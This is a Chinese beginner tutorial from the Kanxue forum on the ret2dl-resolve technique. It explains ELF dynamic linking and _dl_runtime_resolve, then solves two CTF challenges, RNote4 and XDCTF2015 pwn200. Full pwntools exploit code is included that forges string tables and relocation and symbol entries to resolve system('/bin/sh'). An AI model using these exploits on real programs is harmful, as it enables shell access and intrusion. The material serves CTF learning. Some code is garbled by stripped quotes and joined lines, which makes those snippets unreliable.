[新手向]ret2dl-resolve詳解

[新手向]ret2dl-resolve詳解

0x00 前言

最近做RCTF,結果pwn一道沒做出來(雖然精力全放在更擅長的 reverse上了),然後復盤的時候發現RNote4有個關於 ret2dl-resolve 的利用,遂在網上查之,發現很多資料講的不是很清楚,但是還是慢慢琢磨弄懂了。

這個技巧貌似是一個挺基礎的技巧,玩pwn一段時間了,發現自己還有這種知識遺漏,所以這篇文章新手向,大神可以繞道了......

0x01 ELF文件格式以及動態鏈接

我們知道,無論是windows下還是linux下,程序想要調用其他動態鏈接庫的函數,必須要在程序載入的時候動態鏈接,比方說,windows下,叫作IAT表,linux下,叫作GOT表。

調用庫函數時,會有個類似call [xxx] 或者 jmp [xxx]的指令,其中xxx是IAT表或者GOT表的地址。在這裡因為是linux的pwn,我們主要討論GOT表,以及在linux下更為常見的jmp [xxx]。

linux如何調用庫函數

首先一個hello world程序

#include <stdio.h>int main(){ puts("Hello Pwn
"); return 0;}//gcc -m32 -fno-stack-protector -no-pie -s hellopwn.c

其中,這個puts是調用的libc這個動態鏈接庫導出的一個函數。編譯它,看看puts是怎麼被調用的。

push offset s ; "Hello Pwn
"call _puts ;這裡調用puts_puts:jmp ds:off_804A00C ; puts會call到這裡,這裡就是「jmp [GOT表地址]」的這樣一條指令

跟一下,看看這個 off_804A00C 在第一次調用時是什麼東西

可以發現,是0x80482e6這個地址,並不直接是libc的puts函數的地址。這是因為linux在程序載入時使用了延遲綁定(lazy load),只有等到這個函數被調用了,才去把這個函數在libc的地址放到GOT表中。

接下來,會再push一個0,再push一個 dword ptr [0x804a004],待會會說這兩個參數是什麼意思,最後跳到libc的 _dl_runtime_resolve 去執行。

這個函數的目的,是根據2個參數獲取到導出函數(這裡是puts)的地址,然後放到相應的GOT表,並且調用它。而這個函數的地址也是從GOT表取並且jmp [xxx]過去的,但是這個函數不會延遲綁定,因為所有函數都是用它做的延遲綁定,如果把它也延遲綁定就會出現先有雞還是先有蛋的問題了。

ELF關於動態鏈接的一些關鍵section

section,segment是什麼東西不說了,不知道的話呢谷歌百度一下。

.dynamic

包含了一些關於動態鏈接的關鍵信息,在這個hellopwn上它長這樣,事實上這個section所有程序都差不多

這個section的用處就是他包含了很多動態鏈接所需的關鍵信息,我們現在只關心DT_STRTAB, DT_SYMTAB, DT_JMPREL這三項,這三個東西分別包含了指向.dynstr, .dynsym, .rel.plt這3個section的指針,可以readelf -S hellopwn看一下,會發現這三個section的地址跟在上圖所示的地址是一樣的。

.dynstr

一個字元串表,index為0的地方永遠是0,然後後面是動態鏈接所需的字元串,0結尾,包括導入函數名,比方說這裡很明顯有個puts。到時候,相關數據結構引用一個字元串時,用的是相對這個section頭的偏移,比方說,在這裡,就是字元串相對0x804821C的偏移。

.dynsym

這個東西,是一個符號表(結構體數組),裡面記錄了各種符號的信息,每個結構體對應一個符號。我們這裡只關心函數符號,比方說上面的puts。結構體定義如下

typedef struct{ Elf32_Word st_name; //符號名,是相對.dynstr起始的偏移,這種引用字元串的方式在前面說過了 Elf32_Addr st_value; Elf32_Word st_size; unsigned char st_info; //對於導入函數符號而言,它是0x12 unsigned char st_other; Elf32_Section st_shndx;}Elf32_Sym; //對於導入函數符號而言,其他欄位都是0

.rel.plt

這裡是重定位表(不過跟windows那個重定位表概念不同),也是一個結構體數組,每個項對應一個導入函數。結構體定義如下:

typedef struct{ Elf32_Addr r_offset; //指向GOT表的指針 Elf32_Word r_info; //一些關於導入符號的信息,我們只關心從第二個位元組開始的值((val)>>8),忽略那個07 //1和3是這個導入函數的符號在.dynsym中的下標, //如果往回看的話你會發現1和3剛好和.dynsym的puts和__libc_start_main對應} Elf32_Rel;

_dl_runtime_resolve做了什麼

這個想要深入理解的話呢可以去看glibc/elf/dl-runtime.c的源碼,這裡我就不貼了,因為有一堆宏,看著讓人暈,我就直接說下他做了哪些事情。

首先說第一個參數,[0x804a004]是一個link_map的指針,這個結構是幹什麼的,我們不關心,但是有一點要知道,它包含了.dynamic的指針,通過這個link_map_dl_runtime_resolve函數可以訪問到.dynamic這個section

0x08049f14是.dynamic的指針,與前面圖中一致;而第二個參數,是當前要調用的導入函數在.rel.plt中的偏移(不過64位的話就直接是index下標),比方說這裡,puts就是0,__libc_start_main就是1*sizeof(Elf32_Rel)=8

_dl_runtime_resolve會

  1. link_map訪問.dynamic,取出.dynstr, .dynsym, .rel.plt的指針
  2. .rel.plt + 第二個參數求出當前函數的重定位表項Elf32_Rel的指針,記作rel
  3. rel->r_info >> 8作為.dynsym的下標,求出當前函數的符號表項Elf32_Sym的指針,記作sym
  4. .dynstr + sym->st_name得出符號名字元串指針
  5. 在動態鏈接庫查找這個函數的地址,並且把地址賦值給*rel->r_offset,即GOT表
  6. 調用這個函數

如果閱讀libc源碼的話會發現實際順序可能跟我上面所說的有一點偏差,不過意思都一樣,我這樣說會比較好理解。

0x02 ret2dl-resolve 利用

那麼,這個怎麼去利用呢,有兩種利用方式

改寫.dynamic的DT_STRTAB

這個只有在checksec時No RELRO可行,即.dynamic可寫。因為ret2dl-resolve會從.dynamic裡面拿.dynstr字元串表的指針,然後加上offset取得函數名並且在動態鏈接庫中搜索這個函數名,然後調用。而假如說我們能夠改寫這個指針到一塊我們能夠操縱的內存空間,當resolve的時候,就能resolve成我們所指定的任意庫函數。比方說,原本是一個free函數,我們就把原本是free字元串的那個偏移位置設為system字元串,第一次調用free("bin/sh")(因為只有第一次才會resolve),就等於調用了system("/bin/sh")

例題就是RCTF的RNote4,題目是一道堆溢出,NO RELRO而且NO PIE溢出到後面的指針可以實現任意地址寫。

unsigned __int64 edit(){ unsigned __int8 a1; // [rsp+Eh] [rbp-12h] unsigned __int8 size; // [rsp+Fh] [rbp-11h] note *v3; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); a1 = 0; read_buf((char *)&a1, 1u); if ( !notes[a1] ) exit(-1); v3 = notes[a1]; size = 0; read_buf((char *)&size, 1u); read_buf(v3->buf, size); // heap overflow堆溢出 return __readfsqword(0x28u) ^ v4;} unsigned __int64 add(){ unsigned __int8 size; // [rsp+Bh] [rbp-15h] int i; // [rsp+Ch] [rbp-14h] note *v3; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); if ( number > 32 ) exit(-1); size = 0; v3 = (note *)calloc(0x10uLL, 1uLL); if ( !v3 ) exit(-1); read_buf((char *)&size, 1u); if ( !size ) exit(-1); v3->buf = (char *)calloc(size, 1uLL); //堆中存放了指針,所以可以通過這個任意寫 if ( !v3->buf ) exit(-1); read_buf(v3->buf, size); v3->size = size; for ( i = 0; i <= 31 && notes[i]; ++i ) ; notes[i] = v3; ++number; return __readfsqword(0x28u) ^ v4;}

所以呢,可以先add兩個note,然後編輯第一個note使得堆溢出到第二個note的指針,然後再修改第二個note,實現任意寫。至於寫什麼,剛剛也說了,先寫.dynamic指向字元串表的指針,使其指向一塊可寫內存,比如.bss,然後再寫這塊內存,使得相應偏移出剛好有個systemx00。exp如下

from pwn import * g_local=True#e=ELF(./libc.so.6)#context.log_level=debugif g_local: sh =process(./RNote4)#env={LD_PRELOAD:./libc.so.6} gdb.attach(sh)else: sh = remote("rnote4.2018.teamrois.cn", 6767) def add(content): assert len(content) < 256 sh.send("x01") sh.send(chr(len(content))) sh.send(content) def edit(idx, content): assert idx < 32 and len(content) < 256 sh.send("x02") sh.send(chr(idx)) sh.send(chr(len(content))) sh.send(content) def delete(idx): assert idx < 32 sh.send("x03") sh.send(chr(idx)) #偽造的字元串表,(0x457-0x3f8)剛好是"freex00"字元串的偏移payload = "C" * (0x457-0x3f8) + "systemx00"#先新建兩個notesadd("/bin/shx00" + "A" * 0x10)add("/bin/shx00" + "B" * 0x10)#溢出時盡量保證堆塊不被破壞,不過這裡不會再做堆的操作了其實也無所謂edit(0, "/bin/shx00" + "A" * 0x10 + p64(33) + p64(0x18) + p64(0x601EB0))#將0x601EB0,即.dynamic的字元串表指針,寫成0x6020C8edit(1, p64(0x6020C8)) edit(0, "/bin/shx00" + "A" * 0x10 + p64(33) + p64(0x18) + p64(0x6020C8))#在0x6020C8處寫入偽造的字元串表edit(1, payload) #會第一次調用free,所以實際上是system("/bin/sh")被調用,如前面所說delete(0)sh.interactive()

操縱第二個參數,使其指向我們所構造的Elf32_Rel

如果.dynamic不可寫,那麼以上方法就沒用了,所以有第二種利用方法。要知道,前面的_dl_runtime_resolve在第二步時

.rel.plt + 第二個參數求出當前函數的重定位表項Elf32_Rel的指針,記作rel

這個時候,_dl_runtime_resolve並沒有檢查.rel.plt + 第二個參數後是否造成越界訪問,所以我們能給一個很大的.rel.plt的offset(64位的話就是下標),然後使得加上去之後的地址指向我們所能操縱的一塊內存空間,比方說.bss

然後第三步

rel->r_info >> 8作為.dynsym的下標,求出當前函數的符號表項Elf32_Sym的指針,記作sym

所以在我們所偽造的Elf32_Rel,需要放一個r_info欄位,大概長這樣就行0xXXXXXX07,其中XXXXXX是相對.dynsym表的下標,注意不是偏移,所以是偏移除以Elf32_Sym的大小,即除以0x10(32位下)。然後這裡同樣也沒有進行越界訪問的檢查,所以可以用類似的方法,偽造出這個Elf32_Sym。至於為什麼是07,因為這是一個導入函數,而導入函數一般都是07,所以寫成07就好。

然後第四步

.dynstr + sym->st_name得出符號名字元串指針

同樣類似,沒有進行越界訪問檢查,所以這個字元串也能夠偽造。

所以,最終的利用思路,大概是

構造ROP,跳轉到resolve的PLT,push link_map的位置,就是上圖所示的這個地方。此時,棧中必須要有已經偽造好的指向偽造的Elf32_Rel的偏移,然後是返回地址(system的話無所謂),再然後是參數(如果是system函數的話就要是指向"/bin/shx00"的指針)

最後來道經典例題,

int __cdecl main(int a1){ size_t v1; // eax char buf[4]; // [esp+0h] [ebp-6Ch] char v4; // [esp+18h] [ebp-54h] int *v5; // [esp+64h] [ebp-8h] v5 = &a1; strcpy(buf, "Welcome to XDCTF2015~!
"); memset(&v4, 0, 0x4Cu); setbuf(stdout, buf); v1 = strlen(buf); write(1, buf, v1); vuln(); return 0;}ssize_t vuln(){ char buf[108]; // [esp+Ch] [ebp-6Ch] setbuf(stdin, buf); return read(0, buf, 256u); //棧溢出}//gcc -m32 -fno-stack-protector -no-pie -s pwn200.c

明顯的棧溢出,但是沒給libc,ROPgadget也少,所以要用ret2dl-resolve。

利用思路如下:

第一次調用read函數,返回地址再溢出成read函數,這次參數給一個.bss的地址,裡面放我們的payload,包括所有偽造的數據結構以及ROP。注意ROP要放在數據結構的前面,不然ROP調用時有可能污染我們偽造的數據結構,而且前面要預留一段空間給ROP所調用的函數用。調用完第二個read之後,ROP到leave; retn的地址,以便切棧切到在.bss中我們構造的下一個ROP鏈

payload1 = "A" * 108payload1 += p32(NEXT_ROP) # ebp會在這裡被pop出來,到時候leave就可以切棧payload1 += p32(READ_ADDR)payload1 += p32(LEAVE_RETN)payload1 += p32(0)payload1 += p32(BUFFER - ROP_SIZE)payload1 += p32(0x100)payload1 += "P" * (0x100 - len(payload1))sh.send(payload1)

第二次調用read函數,此時要sendROP鏈以及所有相關的偽造數據結構

fake_Elf32_Rel = p32(STRLEN_GOT)fake_Elf32_Rel += p32(FAKE_SYMTAB_IDX)fake_Elf32_Sym = p32(FAKE_STR_OFF)fake_Elf32_Sym += p32(0)fake_Elf32_Sym += p32(0)fake_Elf32_Sym += chr(0x12) + chr(0) + p16(0) # 其它欄位直接照抄IDA裡面的數據就好strings = "systemx00/bin/shx00x00"rop = p32(0) # pop ebp, 隨便設反正不用了rop += p32(DYN_RESOL_PLT) # resolve的PLT,就是前面說的push link_map那個位置rop += p32(FAKE_REL_OFF) # 偽造的重定位表OFFSETrop += "AAAA" # 返回地址,不用了隨便設rop += p32(BIN_SH_ADDR) # 參數,"/bin/sh"payload2 = rop + fake_Elf32_Rel + fake_Elf32_Sym + stringssh.send(payload2)

至於offset這些東西要自己慢慢擼,反正我搞了挺久的。就在IDA里把地址copy出來然後慢慢算偏移就好了。

完整exp寫的有點丑,放附件了。(去原帖查看)

PS: 其他一些大佬博客的exp我沒有很看懂,不知道為啥要寫那麼長。我是弄懂了方法就按照自己的思路寫的,不過也對就是了......

然後貌似有個自動得出ROP的工具叫作roputils,這樣就不用自己搞這麼一串ROP了。不過用工具前還是要先搞懂原理的不然就成腳本小子了嘛......

偽造link_map?

貌似也可行,而且64位下link_map+0x1c8 好像要置0,所以可能要自己偽造link_map。但是link_map結構有點複雜,網上也沒有關於這種利用方式的資料,以後有空會再研究一下。

0x03 參考資料

1. phrack.org/issues/58/4.

2. pwn4.fun/2016/11/09/Ret

3. showlinkroom.me/2017/04

4. 0x00sec.org/t/linux-int

5. github.com/firmianay/CT

6. usenix.org/system/files

原文鏈接:[原創][新手向]ret2dl-resolve詳解-『Pwn』-看雪安全論壇

本文由看雪論壇 holing 原創

轉載請註明來自看雪社區

推薦閱讀:

Pwnable.kr Writeup(part one): Toddlers Bottles
Jarvis_Oj Pwn Writeup

TAG:pwn | 網路安全 | CTFCaptureTheFlag |